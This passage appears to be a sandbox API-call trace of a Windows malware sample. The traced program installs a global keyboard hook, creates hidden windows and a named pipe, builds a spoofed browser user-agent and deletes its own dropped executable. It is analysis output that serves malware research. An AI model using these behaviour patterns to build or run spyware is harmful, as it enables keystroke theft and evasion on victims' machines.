ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.800] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.800] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.800] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef3260000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef3260000, AllocationBase=0x7fef3260000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.800] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.801] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.801] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.801] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef3190000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef3190000, AllocationBase=0x7fef3190000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.801] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.801] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.801] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.801] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef3110000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef3110000, AllocationBase=0x7fef3110000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.801] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.801] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.801] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.801] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef30b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef30b0000, AllocationBase=0x7fef30b0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.801] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.801] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.801] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.801] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef3070000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef3070000, AllocationBase=0x7fef3070000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.801] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.801] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.801] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.801] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef5c20000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef5c20000, AllocationBase=0x7fef5c20000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.801] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.801] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.801] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.801] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcff0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcff0000, AllocationBase=0x7fefcff0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.801] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.802] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.802] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.802] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef2f50000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef2f50000, AllocationBase=0x7fef2f50000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.802] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.802] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.802] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.802] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef2eb0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef2eb0000, AllocationBase=0x7fef2eb0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.802] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.802] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.802] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.802] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x74d60000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x74d60000, AllocationBase=0x74d60000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0xe3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.802] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.802] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.802] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.802] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8790000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8790000, AllocationBase=0x7fef8790000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.802] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.802] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.802] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.802] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef29b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef29b0000, AllocationBase=0x7fef29b0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.802] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.802] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.803] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.803] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef23f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef23f0000, AllocationBase=0x7fef23f0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.803] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.803] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.803] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.803] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef2570000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef2570000, AllocationBase=0x7fef2570000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.803] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.803] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.803] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.803] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef2180000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef2180000, AllocationBase=0x7fef2180000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.803] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.803] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.803] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.803] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefa910000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefa910000, AllocationBase=0x7fefa910000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.803] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.803] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.803] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.803] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87e0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef87e0000, AllocationBase=0x7fef87e0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.803] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.803] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.803] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.803] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef87b0000, AllocationBase=0x7fef87b0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.803] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.803] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.803] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.803] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a90820 | out: hHeap=0x9770000) returned 1 [0044.804] CreateNamedPipeA (lpName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" (normalized: "\\device\\namedpipe\\{5797b6e3-ca4c-a155-8c7b-9e6580dfb269}"), dwOpenMode=0x40000003, dwPipeMode=0x4, nMaxInstances=0xff, nOutBufferSize=0x100, nInBufferSize=0x100, nDefaultTimeOut=0x0, lpSecurityAttributes=0x9518880) returned 0x11c0 [0044.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x94c82c0, lpParameter=0x11c0, dwCreationFlags=0x0, lpThreadId=0x6adfcc4 | out: lpThreadId=0x6adfcc4*=0xb0c) returned 0x11b4 [0044.805] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x43) returned 0x9b6dbe0 [0044.805] wsprintfA (in: param_1=0x9b6dbe0, param_2="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s)" | out: param_1="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64)") returned 62 [0044.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x94b7770, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x6adfcc0 | out: lpThreadId=0x6adfcc0*=0xb10) returned 0x11c4 Thread: id = 43 os_tid = 0xaf4 [0042.891] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe" (normalized: "c:\\users\\aetadzjz\\desktop\\sgm_20190527_desfuhohdt.exe")) returned 1 [0042.942] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6db70 | out: hHeap=0x9770000) returned 1 [0042.942] RtlExitUserThread (Status=0x0) Thread: id = 45 os_tid = 0xb00 [0044.808] OpenEventA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned 0x0 [0044.808] CreateEventA (lpEventAttributes=0x9518880, bManualReset=1, bInitialState=0, lpName="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned 0x12c0 [0044.808] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9bffe90*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) Thread: id = 46 os_tid = 0xb04 [0044.809] GetProcAddress (hModule=0x76f40000, lpProcName="SetWindowsHookExA") returned 0x76f68c20 [0044.809] SetWindowsHookExA (idHook=13, lpfn=0x94e17f4, hmod=0xffb60000, dwThreadId=0x0) returned 0x120199 [0044.810] GetTickCount () returned 0x1b49e [0044.810] wsprintfA (in: param_1=0x95188d0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{353A45A5-3AC0-6F1F-A9F2-ED46C3F4A768}") returned 38 [0044.810] GetProcAddress (hModule=0x76f40000, lpProcName="RegisterClassA") returned 0x76f49f68 [0044.810] RegisterClassA (lpWndClass=0x940fef0) returned 0x27300d4c13e [0044.811] GetProcAddress (hModule=0x76f40000, lpProcName="CreateWindowExA") returned 0x76f4a2e0 [0044.811] CreateWindowExA (dwExStyle=0x0, lpClassName="{353A45A5-3AC0-6F1F-A9F2-ED46C3F4A768}", lpWindowName=0x0, dwStyle=0x0, X=1, Y=1, nWidth=1, nHeight=1, hWndParent=0x0, hMenu=0x0, hInstance=0xffb60000, lpParam=0x95188b0) returned 0x501ac [0044.811] GetProcAddress (hModule=0x76f40000, lpProcName="GetWindowLongPtrA") returned 0x76f537c0 [0044.811] GetWindowLongPtrA (hWnd=0x501ac, nIndex=-21) returned 0x0 [0044.812] GetProcAddress (hModule=0x76f40000, lpProcName="DefWindowProcA") returned 0x7717f548 [0044.812] NtdllDefWindowProc_A (hWnd=0x501ac, Msg=0x24, wParam=0x0, lParam=0x940f8e0) returned 0x0 [0044.812] GetWindowLongPtrA (hWnd=0x501ac, nIndex=-21) returned 0x0 [0044.812] NtdllDefWindowProc_A (hWnd=0x501ac, Msg=0x81, wParam=0x0, lParam=0x940f880) returned 0x1 [0044.813] GetWindowLongPtrA (hWnd=0x501ac, nIndex=-21) returned 0x0 [0044.813] NtdllDefWindowProc_A (hWnd=0x501ac, Msg=0x83, wParam=0x0, lParam=0x940f900) returned 0x0 [0044.813] GetWindowLongPtrA (hWnd=0x501ac, nIndex=-21) returned 0x0 [0044.813] GetProcAddress (hModule=0x76f40000, lpProcName="SetWindowLongPtrA") returned 0x76f4b500 [0044.813] SetWindowLongPtrA (hWnd=0x501ac, nIndex=-21, dwNewLong=0x95188b0) returned 0x0 [0044.814] SetEvent (hEvent=0x11dc) returned 1 [0044.814] GetProcAddress (hModule=0x76f40000, lpProcName="GetMessageA") returned 0x76f56110 [0044.814] GetMessageA (lpMsg=0x940fec0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0112.872] GetProcAddress (hModule=0x76f40000, lpProcName="CallNextHookEx") returned 0x76f4bae0 [0112.872] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x100, lParam=0x940fe08) returned 0x0 [0112.875] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x101, lParam=0x940fe08) returned 0x0 [0118.801] GetWindowLongPtrA (hWnd=0x501ac, nIndex=-21) returned 0x95188b0 [0118.803] NtdllDefWindowProc_A (hWnd=0x501ac, Msg=0x1a, wParam=0x0, lParam=0x940fdd8) returned 0x0 [0152.883] GetWindowLongPtrA (hWnd=0x501ac, nIndex=-21) returned 0x95188b0 [0152.883] NtdllDefWindowProc_A (hWnd=0x501ac, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0152.993] GetWindowLongPtrA (hWnd=0x501ac, nIndex=-21) returned 0x95188b0 [0152.993] NtdllDefWindowProc_A (hWnd=0x501ac, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0175.662] GetWindowLongPtrA (hWnd=0x501ac, nIndex=-21) returned 0x95188b0 [0175.662] NtdllDefWindowProc_A (hWnd=0x501ac, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0185.537] GetWindowLongPtrA (hWnd=0x501ac, nIndex=-21) returned 0x95188b0 [0185.537] NtdllDefWindowProc_A (hWnd=0x501ac, Msg=0x1a, wParam=0x0, lParam=0x940fdd8) returned 0x0 Thread: id = 47 os_tid = 0xb08 [0044.815] GetTickCount () returned 0x1b49e [0044.815] wsprintfA (in: param_1=0x9518770, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{7F7FA1E5-6A00-555F-E932-2D860334E7A8}") returned 38 [0044.815] RegisterClassA (lpWndClass=0x6eaf980) returned 0xd4d1527d01b2c05a [0044.815] CreateWindowExA (dwExStyle=0x0, lpClassName="{7F7FA1E5-6A00-555F-E932-2D860334E7A8}", lpWindowName=0x0, dwStyle=0x0, X=1, Y=1, nWidth=1, nHeight=1, hWndParent=0x0, hMenu=0x0, hInstance=0xffb60000, lpParam=0x9518760) returned 0x301da [0044.816] GetWindowLongPtrA (hWnd=0x301da, nIndex=-21) returned 0x0 [0044.816] NtdllDefWindowProc_A (hWnd=0x301da, Msg=0x24, wParam=0x0, lParam=0x6eaf370) returned 0x0 [0044.816] GetWindowLongPtrA (hWnd=0x301da, nIndex=-21) returned 0x0 [0044.816] NtdllDefWindowProc_A (hWnd=0x301da, Msg=0x81, wParam=0x0, lParam=0x6eaf310) returned 0x1 [0044.816] GetWindowLongPtrA (hWnd=0x301da, nIndex=-21) returned 0x0 [0044.816] NtdllDefWindowProc_A (hWnd=0x301da, Msg=0x83, wParam=0x0, lParam=0x6eaf390) returned 0x0 [0044.817] GetWindowLongPtrA (hWnd=0x301da, nIndex=-21) returned 0x0 [0044.817] SetWindowLongPtrA (hWnd=0x301da, nIndex=-21, dwNewLong=0x9518760) returned 0x0 [0044.817] GetMessageA (lpMsg=0x6eaf950, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0118.834] GetWindowLongPtrA (hWnd=0x301da, nIndex=-21) returned 0x9518760 [0118.834] NtdllDefWindowProc_A (hWnd=0x301da, Msg=0x1a, wParam=0x0, lParam=0x6eaf868) returned 0x0 [0152.890] GetWindowLongPtrA (hWnd=0x301da, nIndex=-21) returned 0x9518760 [0152.890] NtdllDefWindowProc_A (hWnd=0x301da, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0152.993] GetWindowLongPtrA (hWnd=0x301da, nIndex=-21) returned 0x9518760 [0152.993] NtdllDefWindowProc_A (hWnd=0x301da, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0175.662] GetWindowLongPtrA (hWnd=0x301da, nIndex=-21) returned 0x9518760 [0175.662] NtdllDefWindowProc_A (hWnd=0x301da, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0185.537] GetWindowLongPtrA (hWnd=0x301da, nIndex=-21) returned 0x9518760 [0185.537] NtdllDefWindowProc_A (hWnd=0x301da, Msg=0x1a, wParam=0x0, lParam=0x6eaf868) returned 0x0 Thread: id = 48 os_tid = 0xb0c [0044.819] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x11b8 [0044.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0044.819] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0044.819] GetLastError () returned 0x3e5 [0044.819] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0095.955] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5c4 [0095.955] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0095.955] GetLastError () returned 0x3e5 [0095.955] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0095.955] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0095.955] CloseHandle (hObject=0x5c4) returned 1 [0095.971] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11) returned 0x9b6dc50 [0095.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x94b3444, lpParameter=0x9b6dc50, dwCreationFlags=0x0, lpThreadId=0x9d7f6e0 | out: lpThreadId=0x9d7f6e0*=0x878) returned 0x5c4 [0095.971] CloseHandle (hObject=0x5c4) returned 1 [0095.971] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5c4 [0095.972] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0095.972] CloseHandle (hObject=0x5c4) returned 1 [0095.972] FlushFileBuffers (hFile=0x11c0) returned 1 [0095.972] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0095.972] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0095.972] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0095.972] GetLastError () returned 0x3e5 [0095.972] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0096.026] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa94 [0096.026] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0096.026] GetLastError () returned 0x3e5 [0096.026] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0096.026] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0096.026] CloseHandle (hObject=0xa94) returned 1 [0096.026] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11) returned 0x9b6dc70 [0096.026] CreateThread (in: 